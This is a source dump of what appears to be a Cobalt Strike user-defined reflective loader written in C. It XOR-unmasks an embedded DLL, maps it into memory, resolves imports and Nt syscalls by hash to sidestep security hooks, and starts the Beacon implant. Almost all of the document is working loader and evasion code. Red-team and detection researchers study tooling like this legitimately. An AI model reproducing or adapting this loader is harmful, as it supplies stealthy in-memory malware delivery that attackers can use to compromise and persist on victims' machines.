| { 77 | sectionDst = dst + sectionHdr->VirtualAddress; 78 | sectionSize = sectionHdr->SizeOfRawData; 79 | 80 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { 81 | newProtection = PAGE_WRITECOPY; 82 | } 83 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { 84 | newProtection = PAGE_READONLY; 85 | } 86 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { 87 | newProtection = PAGE_READWRITE; 88 | } 89 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { 90 | newProtection = PAGE_EXECUTE; 91 | } 92 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { 93 | newProtection = PAGE_EXECUTE_WRITECOPY; 94 | } 95 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { 96 | newProtection = PAGE_EXECUTE_READ; 97 | } 98 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { 99 | newProtection = PAGE_EXECUTE_READWRITE; 100 | } 101 | 102 | KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); 103 | 104 | if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { 105 | rdata->start = sectionDst; 106 | rdata->length = sectionSize; 107 | rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; 108 | } 109 | 110 | sectionHdr++; 111 | } 112 | } 113 | 114 | void go(void * loaderArguments) 115 | { 116 | IMPORTFUNCS funcs; 117 | funcs.LoadLibraryA = LoadLibraryA; 118 | funcs.GetProcAddress = GetProcAddress; 119 | 120 | /* get the masked dll and key */ 121 | RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); 122 | RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); 123 | 124 | /* unmask and load into memory */ 125 | char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 126 | for (int i = 0; i < dll->length; i++) { 127 | src[i] = dll->value[i] ^ key->value[i % key->length]; 128 | } 129 | 130 | /* parse dll headers */ 131 | DLLDATA data; 132 | ParseDLL(src, &data); 133 | 134 | /* load it into new memory */ 135 | char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 136 | 137 | LoadDLL(&data, src, dst); 138 | ProcessImports(&funcs, &data, dst); 139 | 140 | RDATA_SECTION rdata; 141 | FixSectionPermissions(&data, dst, &rdata); 142 | 143 | /* get the entry point */ 144 | DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); 145 | 146 | /* free the unmasked copy */ 147 | KERNEL32$VirtualFree(src, 0, MEM_RELEASE); 148 | 149 | /* call entry point */ 150 | entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata); 151 | entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments); 152 | } -------------------------------------------------------------------------------- /udrl/src/loader.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | #include "beacon.h" 31 | #include "gate.h" 32 | #include "tcg.h" 33 | 34 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 35 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 36 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 37 | DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); 38 | 39 | #define NTDLL_HASH 0x3CFA685D 40 | 41 | #define memset(x, y, z) __stosb((unsigned char *)x, y, z); 42 | 43 | #define GETRESOURCE(x) (char *)&x 44 | 45 | char _DLL_[0] __attribute__((section("dll"))); 46 | char _KEY_[0] __attribute__((section("key"))); 47 | 48 | typedef struct { 49 | int length; 50 | char value[]; 51 | } RESOURCE; 52 | 53 | typedef struct _PEB_LDR_DATA { 54 | DWORD dwLength; 55 | DWORD dwInitialized; 56 | LPVOID lpSsHandle; 57 | LIST_ENTRY InLoadOrderModuleList; 58 | LIST_ENTRY InMemoryOrderModuleList; 59 | LIST_ENTRY InInitializationOrderModuleList; 60 | LPVOID lpEntryInProgress; 61 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 62 | 63 | typedef struct __PEB { 64 | BYTE bInheritedAddressSpace; 65 | BYTE bReadImageFileExecOptions; 66 | BYTE bBeingDebugged; 67 | BYTE bSpareBool; 68 | LPVOID lpMutant; 69 | LPVOID lpImageBaseAddress; 70 | PPEB_LDR_DATA pLdr; 71 | LPVOID lpProcessParameters; 72 | LPVOID lpSubSystemData; 73 | LPVOID lpProcessHeap; 74 | } _PEB, * _PPEB; 75 | 76 | char * resolve(DWORD modHash, DWORD funcHash) { 77 | char * hModule = (char *)findModuleByHash(modHash); 78 | return findFunctionByHash(hModule, funcHash); 79 | } 80 | 81 | void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry) 82 | { 83 | SYSCALL_GATE gate; 84 | memset(&gate, 0, sizeof(SYSCALL_GATE)); 85 | 86 | if (GetSyscall(ntdll, func, &gate)) 87 | { 88 | entry->fnAddr = func; 89 | entry->sysnum = gate.ssn; 90 | entry->jmpAddr = gate.jmpAddr; 91 | } 92 | } 93 | 94 | void ResolveSyscalls(SYSCALL_API * syscalls) 95 | { 96 | char * ntdll = findModuleByHash(NTDLL_HASH); 97 | 98 | /* get all the supported Nt functions */ 99 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD33BCABD), &syscalls->ntAllocateVirtualMemory); 100 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8C394D89), &syscalls->ntProtectVirtualMemory); 101 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDB63B5AB), &syscalls->ntFreeVirtualMemory); 102 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE935E393), &syscalls->ntGetContextThread); 103 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6935E395), &syscalls->ntSetContextThread); 104 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC54A46C8), &syscalls->ntResumeThread); 105 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4D1DEB74), &syscalls->ntCreateThreadEx); 106 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF0CA9CA0), &syscalls->ntOpenProcess); 107 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x59651E8C), &syscalls->ntOpenThread); 108 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDCD44C5F), &syscalls->ntClose); 109 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5BB29BCB), &syscalls->ntCreateSection); 110 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD5159B94), &syscalls->ntMapViewOfSection); 111 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF21037D0), &syscalls->ntUnmapViewOfSection); 112 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4F138492), &syscalls->ntQueryVirtualMemory); 113 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB55C7785), &syscalls->ntDuplicateObject); 114 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3AEFA5AA), &syscalls->ntReadVirtualMemory); 115 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC5108CC2), &syscalls->ntWriteVirtualMemory); 116 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x84FCD516), &syscalls->ntReadFile); 117 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x680E1933), &syscalls->ntWriteFile); 118 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3888F9D), &syscalls->ntCreateFile); 119 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x52E9A746), &syscalls->ntQueueApcThread); 120 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB9C75AD6), &syscalls->ntCreateProcess); 121 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5992A97F), &syscalls->ntOpenProcessToken); 122 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB163D6A2), &syscalls->ntTestAlert); 123 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x234A15E3), &syscalls->ntSuspendProcess); 124 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x32ADFBCA), &syscalls->ntResumeProcess); 125 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE4E1CAD6), &syscalls->ntQuerySystemInformation); 126 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6EF04C50), &syscalls->ntQueryDirectoryFile); 127 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x814EF02C), &syscalls->ntSetInformationProcess); 128 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE3D6909C), &syscalls->ntSetInformationThread); 129 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB10FD839), &syscalls->ntQueryInformationProcess); 130 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD83695), &syscalls->ntQueryInformationThread); 131 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x92B5DD95), &syscalls->ntOpenSection); 132 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xECDFDBE5), &syscalls->ntAdjustPrivilegesToken); 133 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8408DD38), &syscalls->ntDeviceIoControlFile); 134 | ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x2DAAD6F4), &syscalls->ntWaitForMultipleObjects); 135 | } 136 | 137 | void ResolveRtlFunctions(RTL_API * rtls) 138 | { 139 | char * ntdll = findModuleByHash(NTDLL_HASH); 140 | 141 | rtls->rtlDosPathNameToNtPathNameUWithStatusAddr = findFunctionByHash(ntdll, 0x78D569C0); 142 | rtls->rtlFreeHeapAddr = findFunctionByHash(ntdll, 0xDA12B8); 143 | 144 | /* rtlGetProcessHeapAddr is set to the ProcessHeap address from the PEB */ 145 | _PEB * pPEB = (_PEB *)__readgsqword(0x60); 146 | rtls->rtlGetProcessHeapAddr = (void *)pPEB->lpProcessHeap; 147 | } 148 | 149 | ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr) 150 | { 151 | if (MSVCRT$strncmp((char *)sectionHdr->Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) { 152 | return LABEL_TEXT; 153 | } 154 | else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { 155 | return LABEL_RDATA; 156 | } 157 | else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".data", IMAGE_SIZEOF_SHORT_NAME) == 0) { 158 | return LABEL_DATA; 159 | } 160 | else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".pdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { 161 | return LABEL_PDATA; 162 | } 163 | else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".reloc", IMAGE_SIZEOF_SHORT_NAME) == 0) { 164 | return LABEL_RELOC; 165 | } 166 | else { 167 | return LABEL_EMPTY; 168 | } 169 | } 170 | 171 | void FixSectionPermissions(DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region) 172 | { 173 | DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; 174 | IMAGE_SECTION_HEADER * sectionHdr = NULL; 175 | void * sectionDst = NULL; 176 | DWORD sectionSize = 0; 177 | DWORD newProtection = 0; 178 | DWORD oldProtection = 0; 179 | 180 | sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); 181 | 182 | for (int i = 0; i < numberOfSections; i++) 183 | { 184 | sectionDst = dst + sectionHdr->VirtualAddress; 185 | sectionSize = sectionHdr->SizeOfRawData; 186 | 187 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { 188 | newProtection = PAGE_WRITECOPY; 189 | } 190 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { 191 | newProtection = PAGE_READONLY; 192 | } 193 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { 194 | newProtection = PAGE_READWRITE; 195 | } 196 | if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { 197 | newProtection = PAGE_EXECUTE; 198 | } 199 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { 200 | newProtection = PAGE_EXECUTE_WRITECOPY; 201 | } 202 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { 203 | newProtection = PAGE_EXECUTE_READ; 204 | } 205 | if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { 206 | newProtection = PAGE_EXECUTE_READWRITE; 207 | } 208 | 209 | KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); 210 | 211 | region->Sections[i].Label = GetLabelFromSectionHeader(sectionHdr); 212 | region->Sections[i].BaseAddress = sectionDst; 213 | region->Sections[i].VirtualSize = sectionSize; 214 | region->Sections[i].CurrentProtect = newProtection; 215 | region->Sections[i].PreviousProtect = newProtection; 216 | region->Sections[i].MaskSection = TRUE; 217 | 218 | sectionHdr++; 219 | } 220 | } 221 | 222 | void go() 223 | { 224 | IMPORTFUNCS funcs; 225 | funcs.LoadLibraryA = LoadLibraryA; 226 | funcs.GetProcAddress = GetProcAddress; 227 | 228 | /* get the masked dll and key */ 229 | RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); 230 | RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); 231 | 232 | /* unmask and load into memory */ 233 | char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 234 | for (int i = 0; i < dll->length; i++) { 235 | src[i] = dll->value[i] ^ key->value[i % key->length]; 236 | } 237 | 238 | /* parse beacon headers */ 239 | DLLDATA data; 240 | ParseDLL(src, &data); 241 | 242 | /* load it into new memory */ 243 | char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 244 | 245 | LoadDLL(&data, src, dst); 246 | ProcessImports(&funcs, &data, dst); 247 | 248 | /* initialise bud */ 249 | USER_DATA bud; 250 | SYSCALL_API syscalls; 251 | RTL_API rtlFunctions; 252 | ALLOCATED_MEMORY memory; 253 | 254 | memset(&bud, 0, sizeof(USER_DATA)); 255 | memset(&syscalls, 0, sizeof(SYSCALL_API)); 256 | memset(&rtlFunctions, 0, sizeof(RTL_API)); 257 | memset(&memory, 0, sizeof(ALLOCATED_MEMORY)); 258 | 259 | bud.version = COBALT_STRIKE_VERSION; 260 | bud.syscalls = &syscalls; 261 | bud.rtls = &rtlFunctions; 262 | bud.allocatedMemory = &memory; 263 | 264 | /* fix section memory permissions */ 265 | FixSectionPermissions(&data, dst, &bud.allocatedMemory->AllocatedMemoryRegions[0]); 266 | 267 | /* define cleanup information for VirtualAlloc */ 268 | ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup; 269 | memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION)); 270 | 271 | vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC; 272 | vaCleanup.Cleanup = TRUE; 273 | 274 | /* set the region info for beacon */ 275 | bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY; 276 | bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = dst; 277 | bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = data.NtHeaders->OptionalHeader.SizeOfImage; 278 | bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE; 279 | bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup; 280 | 281 | /* resolve syscall info */ 282 | ResolveSyscalls(&syscalls); 283 | ResolveRtlFunctions(&rtlFunctions); 284 | 285 | /* get the entry point */ 286 | DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); 287 | 288 | /* free the unmasked copy */ 289 | KERNEL32$VirtualFree(src, 0, MEM_RELEASE); 290 | 291 | /* call entry point */ 292 | entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud); 293 | entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); 294 | entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL); 295 | } --------------------------------------------------------------------------------